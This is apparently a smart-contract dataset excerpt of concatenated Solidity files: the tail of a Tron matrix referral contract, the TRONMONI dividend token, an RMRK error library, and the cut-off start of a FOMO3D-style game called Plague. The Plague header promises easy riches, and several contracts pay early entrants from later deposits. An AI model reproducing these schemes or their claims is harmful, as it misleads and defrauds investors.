users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendTronDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function get3XMatrix(address userAddress, uint8 level) public view returns(address, address[] memory, uint, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].reinvestCount,
users[userAddress].x3Matrix[level].blocked);
}
function getX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, uint, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].reinvestCount,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findTronReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedTronReceive(receiver,users[receiver].id, _from,users[_from].id, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedTronReceive(receiver,users[receiver].id, _from,users[_from].id, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendTronDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findTronReceiver(userAddress, _from, matrix, level);
if(!address(uint160(receiver)).send(levelPrice[level] - (levelPrice[level] * POOL_PER / POOL_DIVISOR))){
return address(uint160(receiver)).transfer(levelPrice[level] - (levelPrice[level] * POOL_PER / POOL_DIVISOR));
}
emit SentDividends(_from,users[_from].id, receiver,users[receiver].id, matrix, level, isExtraDividends);
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function getPendingTimeForNextClosing() public view returns(uint) {
uint remainingTimeForPayout = 0;
if(nextClosingTime >= now) {
remainingTimeForPayout = nextClosingTime.sub(now);
}
return remainingTimeForPayout;
}
function doClosing() public
{
require(msg.sender == deployer,"Oops you can't do the closing");
require(now > nextClosingTime, "Closing Time not came yet!!!");
require(address(this).balance > 0, "There is no money in the pool!!!");
if(now > nextClosingTime)
{
uint i;
uint256 perUserAmount = (address(this).balance).div(poolUsers.length);
for(i = 0; i<poolUsers.length; i++)
{
address userAddress = poolUsers[i];
emit PoolIncome(userAddress, perUserAmount);
if(!address(uint160(userAddress)).send(perUserAmount)){
return address(uint160(userAddress)).transfer(perUserAmount);
}
}
nextClosingTime = now.add(poolTime);
}
}
}
| 302,605 | 13,539 |
6c6fc3c71d82775966bd16e597aa8309543a972cc409b2e250340b1b9628fc4c
| 24,013 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TYrY8436UK1vsFFpMUCyLcrUTdu26FPKAx_TRONMONI.sol
| 5,189 | 19,100 |
//SourceUnit: TRONMONI.sol
pragma solidity ^0.4.25;
contract TRONMONI {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingTron,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 tronEarned);
event onReinvestment(address indexed customerAddress,
uint256 tronReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 tronWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "TRONMONI";
string public symbol = "MONI";
uint8 constant public decimals = 18;
uint8 constant internal buyFee_ = 11;//11%
uint8 constant internal sellFee_ = 10;//10%
uint8 constant internal transferFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 10000;
uint256 constant internal tokenPriceIncremental_ = 100;
uint256 constant internal magnitude = 2 ** 64;
//min invest amount to get referral bonus
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
uint256 public stakingRequirement = 1e18;
uint256 public playerCount_;
uint256 public totalInvested = 0;
uint256 public totalDividends = 0;
address internal devAddress_;
struct ReferralData {
address affFrom;
uint256 affRewardsSum;
uint256 affCount1Sum; //5 level
uint256 affCount2Sum;
uint256 affCount3Sum;
uint256 affCount4Sum;
uint256 affCount5Sum;
}
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => bool) public players_;
mapping(address => uint256) public totalDeposit_;
mapping(address => uint256) public totalWithdraw_;
mapping(address => ReferralData) public referralData;
bool public exchangeClosed = true;
constructor()
public
{
devAddress_ = msg.sender;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
totalInvested = SafeMath.add(totalInvested,msg.value);
totalDeposit_[msg.sender] = SafeMath.add(totalDeposit_[msg.sender],msg.value);
if(players_[msg.sender] == false){
playerCount_ = playerCount_ + 1;
players_[msg.sender] = true;
}
uint256 _amountOfTokens = purchaseTokens(msg.value, _referredBy);
emit onTokenPurchase(msg.sender, msg.value, _amountOfTokens, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
totalWithdraw_[_customerAddress] = SafeMath.add(totalWithdraw_[_customerAddress],_dividends);
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _tron = tokensToTron_(_tokens);
uint256 _dividends = SafeMath.div(_tron, sellFee_);
uint256 _taxedTron = SafeMath.sub(_tron, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedTron * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedTron);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
require(!exchangeClosed && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, transferFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToTron_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function getContractData() public view returns(uint256, uint256, uint256,uint256, uint256){
return(playerCount_, totalSupply(), totalTronBalance(), totalInvested, totalDividends);
}
function getPlayerData() public view returns(uint256, uint256, uint256,uint256, uint256){
return(totalDeposit_[msg.sender], totalWithdraw_[msg.sender], balanceOf(msg.sender), myDividends(true),myDividends(false));
}
function totalTronBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function isOwner()
public
view
returns(bool)
{
return msg.sender == devAddress_;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _tron = tokensToTron_(1e18);
uint256 _dividends = SafeMath.div(_tron, sellFee_);
uint256 _taxedTron = SafeMath.sub(_tron, _dividends);
return _taxedTron;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _tron = tokensToTron_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tron, buyFee_), 100);
uint256 _taxedTron = SafeMath.add(_tron, _dividends);
return _taxedTron;
}
}
function calculateTokensReceived(uint256 _tronToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_tronToSpend, buyFee_), 100);
uint256 _taxedTron = SafeMath.sub(_tronToSpend, _dividends);
uint256 _amountOfTokens = tronToTokens_(_taxedTron);
return _amountOfTokens;
}
function calculateTronReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _tron = tokensToTron_(_tokensToSell);
uint256 _dividends = SafeMath.div(_tron, sellFee_);
uint256 _taxedTron = SafeMath.sub(_tron, _dividends);
return _taxedTron;
}
function purchaseTokens(uint256 _incomingTron, address _referredBy)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingTron, buyFee_),100);
uint256 _referralBonus = SafeMath.div(_incomingTron, 10); //10%
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedTron = SafeMath.sub(_incomingTron, _undividedDividends);
uint256 _amountOfTokens = tronToTokens_(_taxedTron);
uint256 _fee = _dividends * magnitude;
totalDividends = SafeMath.add(totalDividends,_undividedDividends);
//if new user, register user's referral data with _referredBy
if(referralData[msg.sender].affFrom == address(0)){
registerUser(msg.sender, _referredBy);
}
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
distributeReferral(msg.sender, _referralBonus);
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
return _amountOfTokens;
}
function registerUser(address _msgSender, address _affFrom)
internal
{
ReferralData storage _referralData = referralData[_msgSender];
if(_affFrom != _msgSender && tokenBalanceLedger_[_affFrom] >= stakingRequirement){
_referralData.affFrom = _affFrom;
}
else{
_referralData.affFrom = devAddress_;
}
address _affAddr1 = _referralData.affFrom;
address _affAddr2 = referralData[_affAddr1].affFrom;
address _affAddr3 = referralData[_affAddr2].affFrom;
address _affAddr4 = referralData[_affAddr3].affFrom;
address _affAddr5 = referralData[_affAddr4].affFrom;
referralData[_affAddr1].affCount1Sum = SafeMath.add(referralData[_affAddr1].affCount1Sum,1);
referralData[_affAddr2].affCount2Sum = SafeMath.add(referralData[_affAddr2].affCount2Sum,1);
referralData[_affAddr3].affCount3Sum = SafeMath.add(referralData[_affAddr3].affCount3Sum,1);
referralData[_affAddr4].affCount4Sum = SafeMath.add(referralData[_affAddr4].affCount4Sum,1);
referralData[_affAddr5].affCount5Sum = SafeMath.add(referralData[_affAddr5].affCount5Sum,1);
}
function distributeReferral(address _msgSender, uint256 _allaff)
internal
{
ReferralData storage _referralData = referralData[_msgSender];
address _affAddr1 = _referralData.affFrom;
address _affAddr2 = referralData[_affAddr1].affFrom;
address _affAddr3 = referralData[_affAddr2].affFrom;
address _affAddr4 = referralData[_affAddr3].affFrom;
address _affAddr5 = referralData[_affAddr4].affFrom;
uint256 _affRewards = SafeMath.div(_allaff, 5);
uint256 _affSent = _allaff;
if (_affAddr1 != address(0) && tokenBalanceLedger_[_affAddr1] >= stakingRequirement) {
_affSent = SafeMath.sub(_affSent,_affRewards);
referralBalance_[_affAddr1] = SafeMath.add(referralBalance_[_affAddr1], _affRewards);
referralData[_affAddr1].affRewardsSum = SafeMath.add(referralData[_affAddr1].affRewardsSum, _affRewards);
}
if (_affAddr2 != address(0) && tokenBalanceLedger_[_affAddr2] >= stakingRequirement) {
_affSent = SafeMath.sub(_affSent,_affRewards);
referralBalance_[_affAddr2] = SafeMath.add(referralBalance_[_affAddr2], _affRewards);
referralData[_affAddr2].affRewardsSum = SafeMath.add(referralData[_affAddr2].affRewardsSum, _affRewards);
}
if (_affAddr3 != address(0) && tokenBalanceLedger_[_affAddr3] >= stakingRequirement) {
_affSent = SafeMath.sub(_affSent,_affRewards);
referralBalance_[_affAddr3] = SafeMath.add(referralBalance_[_affAddr3], _affRewards);
referralData[_affAddr3].affRewardsSum = SafeMath.add(referralData[_affAddr3].affRewardsSum, _affRewards);
}
if (_affAddr4 != address(0) && tokenBalanceLedger_[_affAddr4] >= stakingRequirement) {
_affSent = SafeMath.sub(_affSent,_affRewards);
referralBalance_[_affAddr4] = SafeMath.add(referralBalance_[_affAddr4], _affRewards);
referralData[_affAddr4].affRewardsSum = SafeMath.add(referralData[_affAddr4].affRewardsSum, _affRewards);
}
if (_affAddr5 != address(0) && tokenBalanceLedger_[_affAddr5] >= stakingRequirement) {
_affSent = SafeMath.sub(_affSent,_affRewards);
referralBalance_[_affAddr5] = SafeMath.add(referralBalance_[_affAddr5], _affRewards);
referralData[_affAddr5].affRewardsSum = SafeMath.add(referralData[_affAddr5].affRewardsSum, _affRewards);
}
if(_affSent > 0){
referralBalance_[devAddress_] = SafeMath.add(referralBalance_[devAddress_], _affSent);
referralData[devAddress_].affRewardsSum = SafeMath.add(referralData[devAddress_].affRewardsSum, _affSent);
}
}
function tronToTokens_(uint256 _tron)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_tron * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToTron_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _tronReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _tronReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function disableInitialStage()
public
{
require(msg.sender == devAddress_);
exchangeClosed = false;
}
function setStakingRequirement(uint256 _amountOfTokens)
public
{
require(msg.sender == devAddress_);
stakingRequirement = _amountOfTokens;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 302,223 | 13,540 |
fed9a826d5c05cf7b3295237ca3b47890bd1ad7981493d4724503decf3319d5a
| 9,417 |
.sol
|
Solidity
| false |
436075350
|
rmrk-team/evm
|
a89c33e32c1983bfa9c9a365988de3bc7adbcf20
|
contracts/RMRK/library/RMRKErrors.sol
| 1,962 | 7,932 |
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.18;
/// @title RMRKErrors
/// @author RMRK team
/// @notice A collection of errors used in the RMRK suite
/// naming collisions due to inheritance
/// Attempting to grant the token to 0x0 address
error ERC721AddressZeroIsNotaValidOwner();
/// Attempting to grant approval to the current owner of the token
error ERC721ApprovalToCurrentOwner();
/// Attempting to grant approval when not being owner or approved for all should not be permitted
error ERC721ApproveCallerIsNotOwnerNorApprovedForAll();
/// Attempting to get approvals for a token owned by 0x0 (considered non-existent)
error ERC721ApprovedQueryForNonexistentToken();
/// Attempting to grant approval to self
error ERC721ApproveToCaller();
/// Attempting to use an invalid token ID
error ERC721InvalidTokenId();
/// Attempting to mint to 0x0 address
error ERC721MintToTheZeroAddress();
/// Attempting to manage a token without being its owner or approved by the owner
error ERC721NotApprovedOrOwner();
/// Attempting to mint an already minted token
error ERC721TokenAlreadyMinted();
/// Attempting to transfer the token from an address that is not the owner
error ERC721TransferFromIncorrectOwner();
/// Attempting to safe transfer to an address that is unable to receive the token
error ERC721TransferToNonReceiverImplementer();
/// Attempting to transfer the token to a 0x0 address
error ERC721TransferToTheZeroAddress();
/// Attempting to grant approval of assets to their current owner
error RMRKApprovalForAssetsToCurrentOwner();
/// Attempting to grant approval of assets without being the caller or approved for all
error RMRKApproveForAssetsCallerIsNotOwnerNorApprovedForAll();
/// Attempting to incorrectly configue a Catalog item
error RMRKBadConfig();
error RMRKBadPriorityListLength();
/// Attempting to add an asset entry with `Part`s, without setting the `Catalog` address
error RMRKCatalogRequiredForParts();
/// Attempting to transfer a soulbound (non-transferrable) token
error RMRKCannotTransferSoulbound();
/// Attempting to accept a child that has already been accepted
error RMRKChildAlreadyExists();
/// Attempting to interact with a child, using index that is higher than the number of children
error RMRKChildIndexOutOfRange();
/// Attempting to find the index of a child token on a parent which does not own it.
error RMRKChildNotFoundInParent();
error RMRKCollaboratorArraysNotEqualLength();
/// Attempting to register a collection that is already registered
error RMRKCollectionAlreadyRegistered();
/// Attempting to manage or interact with colleciton that is not registered
error RMRKCollectionNotRegistered();
/// Attempting to equip a `Part` with a child not approved by the Catalog
error RMRKEquippableEquipNotAllowedByCatalog();
/// Attempting to use ID 0, which is not supported
error RMRKIdZeroForbidden();
/// Attempting to interact with an asset, using index greater than number of assets
error RMRKIndexOutOfRange();
/// Attempting to reclaim a child that can't be reclaimed
error RMRKInvalidChildReclaim();
/// Attempting to interact with an end-user account when the contract account is expected
error RMRKIsNotContract();
/// Attempting to interact with a contract that had its operation locked
error RMRKLocked();
error RMRKMaxPendingChildrenReached();
/// 128)
error RMRKMaxPendingAssetsReached();
/// Attempting to burn a total number of recursive children higher than maximum set
/// @param childId ID of the child token at which the maximum number of recursive burns was reached
error RMRKMaxRecursiveBurnsReached(address childContract, uint256 childId);
error RMRKMintOverMax();
/// Attempting to mint a nested token to a smart contract that doesn't support nesting
error RMRKMintToNonRMRKNestableImplementer();
/// Attempting to pass complementary arrays of different lengths
error RMRKMismachedArrayLength();
/// Attempting to transfer a child before it is unequipped
error RMRKMustUnequipFirst();
/// Attempting to nest a child over the nestable limit (current limit is 100 levels of nesting)
error RMRKNestableTooDeep();
error RMRKNestableTransferToDescendant();
/// Attempting to nest the token to a smart contract that doesn't support nesting
error RMRKNestableTransferToNonRMRKNestableImplementer();
/// Attempting to nest the token into itself
error RMRKNestableTransferToSelf();
/// Attempting to interact with an asset that can not be found
error RMRKNoAssetMatchingId();
error RMRKNotApprovedForAssetsOrOwner();
/// owner to do so
/// not allowed to manage it, in order to ensure the expected behaviour
error RMRKNotApprovedOrDirectOwner();
/// Attempting to manage a collection without being the collection's collaborator
error RMRKNotCollectionCollaborator();
/// Attemting to manage a collection without being the collection's issuer
error RMRKNotCollectionIssuer();
/// Attempting to manage a collection without being the collection's issuer or collaborator
error RMRKNotCollectionIssuerOrCollaborator();
/// Attempting to compose an asset wihtout having an associated Catalog
error RMRKNotComposableAsset();
/// Attempting to unequip an item that isn't equipped
error RMRKNotEquipped();
/// Attempting to interact with a management function without being the smart contract's owner
error RMRKNotOwner();
/// Attempting to interact with a function without being the owner or contributor of the collection
error RMRKNotOwnerOrContributor();
/// Attempting to manage a collection without being the specific address
error RMRKNotSpecificAddress();
/// Attempting to manage a token without being its owner
error RMRKNotTokenOwner();
/// Attempting to transfer the ownership to the 0x0 address
error RMRKNewOwnerIsZeroAddress();
/// Attempting to assign a 0x0 address as a contributor
error RMRKNewContributorIsZeroAddress();
/// Attemtping to use `Ownable` interface without implementing it
error RMRKOwnableNotImplemented();
/// Attempting an operation requiring the token being nested, while it is not
error RMRKParentIsNotNFT();
/// Attempting to add a `Part` with an ID that is already used
error RMRKPartAlreadyExists();
/// Attempting to use a `Part` that doesn't exist
error RMRKPartDoesNotExist();
/// Attempting to use a `Part` that is `Fixed` when `Slot` kind of `Part` should be used
error RMRKPartIsNotSlot();
/// Attempting to interact with a pending child using an index greater than the size of pending array
error RMRKPendingChildIndexOutOfRange();
/// Attempting to add an asset using an ID that has already been used
error RMRKAssetAlreadyExists();
/// Attempting to equip an item into a slot that already has an item equipped
error RMRKSlotAlreadyUsed();
/// Attempting to equip an item into a `Slot` that the target asset does not implement
error RMRKTargetAssetCannotReceiveSlot();
/// Attempting to equip a child into a `Slot` and parent that the child's collection doesn't support
error RMRKTokenCannotBeEquippedWithAssetIntoSlot();
/// Attempting to compose a NFT of a token without active assets
error RMRKTokenDoesNotHaveAsset();
/// Attempting to determine the asset with the top priority on a token without assets
error RMRKTokenHasNoAssets();
/// Attempting to accept or transfer a child which does not match the one at the specified index
error RMRKUnexpectedChildId();
/// Attempting to reject all pending assets but more assets than expected are pending
error RMRKUnexpectedNumberOfAssets();
/// Attempting to reject all pending children but children assets than expected are pending
error RMRKUnexpectedNumberOfChildren();
/// Attempting to accept or reject an asset which does not match the one at the specified index
error RMRKUnexpectedAssetId();
/// Attempting an operation expecting a parent to the token which is not the actual one
error RMRKUnexpectedParent();
error RMRKZeroLengthIdsPassed();
/// Attempting to set the royalties to a value higher than 100% (10000 in base points)
error RMRKRoyaltiesTooHigh();
| 235,090 | 13,541 |
66f33fcc298a654173196339e0ae47985f3bbef1c9a04ccc80e4dfe114ed0bff
| 25,891 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0xF317a365cFef0Aa4357ABd057048808A1d430402.sol
| 6,560 | 22,261 |
pragma solidity ^0.4.24;
//================================================================================
// Plague Inc.
// WARNING!!! WARNING!!! WARNING!!! WARNING!!! WARNING!!! WARNING!!! WARNING!!!
// This game is easy for you to get rich.
// Please prepare enough ETH.
// If you have HEART DISEASE, PLEASE DON'T PLAY.
// If you are Chinese or American, please don't play. YOU ARE TOO RICH.
//
// Plague Inc. , which is abbreviated as PIC by players.
// is developed by a well-known games company who put a lot of effort into R&D.
// One evening, our producer had a hands-on experience on FOMO3D.
// and he was really annoyed by the "unreasonable" numerical settings in FOMO3D.
// He said: "We can make a better one!"
// So we made a better one. ^v^
//
// # It takes less time for investors to get back their capital, while making more
// profit (51% for investor dividends).
// # Introducers can get a high return of 10% (effective in the long term).
// # A lot of investors suffered losses in FOMO3D Quick, which is solved perfectly
// by Plague Inc.
// # A total of 11 players will share the grand prize, you dont have to be the
// last one.
// # Better numerical and time setup, no worries about being in trouble.
//
// 2030 Plague Inc. All Rights Reserved.
// www.plagueinc.io
// Memorial Bittorrent, eDonkey, eMule. Embrace IPFS
// Blockchain will change the world.
//================================================================================
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
contract PlagueEvents {
//infective person
event onInfectiveStage
(address indexed player,
uint256 indexed rndNo,
uint256 keys,
uint256 eth,
uint256 timeStamp,
address indexed inveter);
// become leader during second stage
event onDevelopmentStage
(address indexed player,
uint256 indexed rndNo,
uint256 eth,
uint256 timeStamp,
address indexed inveter);
// award
event onAward
(address indexed player,
uint256 indexed rndNo,
uint256 eth,
uint256 timeStamp);
}
contract Plague is PlagueEvents{
using SafeMath for *;
using KeysCalc for uint256;
struct Round {
uint256 eth; // total eth
uint256 keys; // total keys
uint256 startTime; // start time
uint256 endTime; // end time
uint256 infectiveEndTime; // infective end time
address leader; // leader
address infectLastPlayer; // the player will award 10% eth
address [11] lastInfective; // the lastest 11 infective
address [4] loseInfective; // the lose infective
bool [11] infectiveAward_m; //
uint256 totalInfective; // the count of this round
uint256 inveterAmount; // remain inveter amount of this round
uint256 lastRoundReward; // last round remain eth 10% + eth 4% - inveterAmount + last remain award
uint256 exAward; // development award
}
struct PlayerRound {
uint256 eth; // eth player has added to round
uint256 keys; // keys
uint256 withdraw; // how many eth has been withdraw
uint256 getInveterAmount; // inverter amount
uint256 hasGetAwardAmount; // player has get award amount
}
uint256 public rndNo = 1; // current round number
uint256 public totalEth = 0; // total eth in all round
uint256 constant private rndInfectiveStage_ = 12 hours; // round timer at infective stage 12 hours;
uint256 constant private rndInfectiveReadyTime_ = 30 minutes; // round timer at infective stage ready time
uint256 constant private rndDevelopmentStage_ = 15 minutes; // round timer at development stage 30 minutes;
